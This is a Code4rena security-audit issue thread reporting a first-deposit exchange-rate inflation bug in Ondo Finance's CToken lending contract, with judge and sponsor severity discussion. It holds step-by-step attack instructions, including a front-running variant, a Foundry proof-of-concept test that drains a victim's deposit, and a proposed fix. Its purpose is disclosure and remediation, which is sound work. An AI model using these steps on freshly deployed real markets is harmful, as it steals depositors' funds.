Ondo Finance contest - AkshaySrivastav's results

This placeholder issue was created according to the criteria mentioned by C4 https://docs.code4rena.com/roles/wardens/submission-policy#findings-in-parent-of-forked-projects

The hash posted above (c7a398a81e9d443542ca06717ef713924dafb717) was generated using the shasum command on Ubuntu for the file shared below.

Command: shasum first-deposit-bug.md

first-deposit-bug.md

Adding the content of the file here :-

First Deposit Bug

The CToken is a yield bearing asset which is minted when any user deposits some units of underlying tokens. The amount of CTokens minted to a user is calculated based upon the amount of underlying tokens user is depositing.

As per the implementation of CToken contract, there exist two cases for CToken amount calculation:

1. First deposit - when CToken.totalSupply() is 0.
2. All subsequent deposits.

Here is the actual CToken code (extra code and comments clipped for better reading):

function exchangeRateStoredInternal() internal view virtual returns (uint) {
    uint _totalSupply = totalSupply;
    if (_totalSupply == 0) {
      return initialExchangeRateMantissa;
    } else {
      uint totalCash = getCashPrior();
      uint cashPlusBorrowsMinusReserves = totalCash +
        totalBorrows -
        totalReserves;
      uint exchangeRate = (cashPlusBorrowsMinusReserves * expScale) /
        _totalSupply;

      return exchangeRate;
    }
}

function mintFresh(address minter, uint mintAmount) internal {
    // ...
    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint actualMintAmount = doTransferIn(minter, mintAmount);

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;
}

The Bug

The above implementation contains a critical bug which can be exploited to steal funds of initial depositors of a freshly deployed CToken contract.

As the exchange rate is dependent upon the ratio of CToken's totalSupply and underlying token balance of CToken contract, the attacker can craft transactions to manipulate the exchange rate.

Steps to attack:

1. Once the CToken has been deployed and added to the lending protocol, the attacker mints the smallest possible amount of CTokens.

2. Then the attacker does a plain underlying token transfer to the CToken contract, artificially inflating the underlying.balanceOf(CToken) value.

   Due to the above steps, during the next legitimate user deposit, the mintTokens value for the user will become less than 1 and essentially be rounded down to 0 by Solidity. Hence the user gets 0 CTokens against his deposit and the CToken's entire supply is held by the Attacker.

3. The Attacker can then simply reedem his CToken balance for the entire underlying token balance of the CToken contract.

The same steps can be performed again to steal the next user's deposit.

It should be noted that the attack can happen in two ways:

• The attacker can simply execute the Step 1 and 2 as soon as the CToken gets added to the lending protocol.
• The attacker watches the pending transactions of the network and frontruns the user's deposit transaction by executing Step 1 and 2 and then backruns it with Step 3.

Impact

A sophisticated attack can impact all user deposits until the lending protocols owners and users are notified and contracts are paused. Since this attack is a replicable attack it can be performed continuously to steal the deposits of all depositors that try to deposit into the CToken contract.

The loss amount will be the sum of all deposits done by users into the CToken multiplied by the underlying token's price.

Suppose there are 10 users and each of them tries to deposit 1,000,000 underlying tokens into the CToken contract. Price of underlying token is $1.

Total loss (in $) = $10,000,000

Proof of Concept

New test case was added to forge-tests/lending/fToken/fDAI.t.sol

function test_bug_firstMintIssue() public {
    address attacker = alice;

    seedUserDAI(attacker, 2_000_000e18);
    seedUserDAI(bob, 1_000_000e18);
    assertEq(fDAI.exchangeRateStored(), 2e26);
    assertEq(fDAI.totalSupply(), 0);
    assertEq(fDAI.balanceOf(attacker), 0);

    vm.prank(attacker);
    DAI.approve(address(fDAI), type(uint256).max);
    vm.prank(attacker);
    fDAI.mint(2e8);
    assertEq(fDAI.balanceOf(attacker), 1);
    assertEq(fDAI.totalSupply(), 1);

    vm.prank(bob);
    DAI.approve(address(fDAI), type(uint256).max);

    // Front-running
    vm.prank(attacker);
    DAI.transfer(address(fDAI), 1_000_000e18);
    assertEq(fDAI.getCash(), 1_000_000e18 + 2e8);

    vm.prank(bob);
    fDAI.mint(1_000_000e18);
    assertEq(fDAI.balanceOf(bob), 0);
    assertEq(fDAI.totalSupply(), 1);

    vm.prank(attacker);
    fDAI.redeem(1);
    assertEq(DAI.balanceOf(attacker), 3_000_000e18);
    assertEq(fDAI.totalSupply(), 0);
}

The Fix

The fix to prevent this issue would be to enforce a minimum deposit that cannot be withdrawn. This can be done by minting small amount of CToken units to 0x00 address on the first deposit.

function mintFresh(address minter, uint mintAmount) internal {
    // ...
    Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()});

    uint actualMintAmount = doTransferIn(minter, mintAmount);

    uint mintTokens = div_(actualMintAmount, exchangeRate);

    /// THE FIX
    if (totalSupply == 0) {
        totalSupply = 1000;
        accountTokens[address(0)] = 1000;
        mintTokens -= 1000;
    }

    totalSupply = totalSupply + mintTokens;
    accountTokens[minter] = accountTokens[minter] + mintTokens;
    // ...
}

Instead of a fixed 1000 value an admin controlled parameterized value can also be used to control the burn amount on a per CToken basis.

End of file content

Details according to C4 issue reporting format

• Rating - High Risk
• Title - First deposit bug
• Links to affected code
  • https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/lending/tokens/cToken/CTokenModified.sol#L357-L379
  • https://github.com/code-423n4/2023-01-ondo/blob/main/contracts/lending/tokens/cToken/CTokenModified.sol#L506-L527
• Vulnerability details - Shared above already

trust1995 changed the severity to 2 (Med Risk)

trust1995 marked the issue as primary issue

This is a well known attack. Will let sponsor have a look but may QA in the future.

trust1995 marked the issue as satisfactory

ali2251 marked the issue as sponsor confirmed

This is a bug, we get around this operationally by minting fTokens and burning when initializing the market. See our proposal here: https://www.tally.xyz/gov/ondo-dao/proposal/3

Leaving as Med severity as likelihood is low but potential impact is high + sponsor found it valuable.

trust1995 marked the issue as selected for report

Few points about why this issue should be considered as High Severity.

• The bug causes real fund loss of funds for the depositors. Actual amounts lost depend upon initial deposit amounts. Bigger the initial deposit bigger the loss. Hence impact is high.
• Likelihood of the attack is high as it is very easy to frontrun transactions on public blockchains.
• The fix implemented by sponsors is just an operational workaround (manual burning of tokens). As long as the smart contracts are concerned no code changes were made. Hence the bug always exists for initial deposits.
• Sponsors acknowledged the bug which indicates that the presence of bug may or may not be known to them prior to reporting. The known state of the bug was never mentioned in the contest details or in protocol docs. Even being a known attack (just like re-entrancy) should not reduce the severity of a bug.

Looking forward to hear the thoughts of judges.

1. We have not entered judge QA period, therefore you're not allowed to comment at this stage. Soft warning.
2. Still Med.

trust1995 marked the issue as duplicate of #83

trust1995 marked the issue as satisfactory

trust1995 marked the issue as selected for report

JeeberC4 marked the issue as selected for report

trust1995 marked the issue as primary issue

trust1995 marked the issue as satisfactory

Timestamps prevent replay attacks, these timestamps are like 30 minutes long, so the attack is valid only within 30 minutes and we can change the timestamp to 5 minutes and then it becomes exteremely hard for this attack to happen. Within 5 minutes, a suer must add themselves, then Admin removed them, then they add themselves but once 5 minutes is over, the attacker can no longer add themselves and so the admin can just remove them after 5 minutes. It can be see here that in tests we use 9 minutes: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/forge-tests/cash/registry/RegistrySignature.t.sol#L57

ali2251 marked the issue as disagree with severity

trust1995 changed the severity to 2 (Med Risk)

trust1995 marked the issue as selected for report